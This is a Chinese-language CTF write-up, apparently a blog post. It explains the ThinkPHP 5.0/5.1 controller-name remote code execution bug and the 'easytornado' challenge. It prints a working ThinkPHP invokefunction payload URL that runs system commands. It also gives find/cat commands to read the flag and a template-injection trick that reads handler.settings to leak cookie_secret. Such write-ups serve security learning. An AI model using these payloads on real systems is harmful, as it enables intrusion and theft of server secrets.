ThinkPHP V5(漏洞解析及利用)及tornado知识点

ThinkPHP 5漏洞简介


ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。


漏洞分析

程序未对控制器进行过滤,导致攻击者可以用 \(斜杠)调用任意类方法。

漏洞利用

http://159.138.137.79:63571/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

到这里会出现

可是直接 cat /flag 或者cat /flag/flag,都不对可能有很多层的目录

用到命令 find / -name flag*这样就可以找到很多层的目录,然后cat就行或者

直接cat $(find / -name flag)也可以

easytornado

主要是tornado框架的一些知识点

开局三个选择, flag in /fllllllllllllag

render

md5(cookie_secret+md5(filename)) 

render是模板渲染所以考虑到了ssti,这里我们需要得到的就是cookie_secret这样就行,因为filename我们已经知道了,然后一起md5加密传参就会获得flag 

只可以执行这种,不能执行运算,在tornado官方网站和网上查找资料,最终得到handler指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了

发现里面有cookie_secret所以我们直接传参 handler.settings 

进入第二个选择,这道题重要的是找到注入点,通过试出来时报错这个 

 

 

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值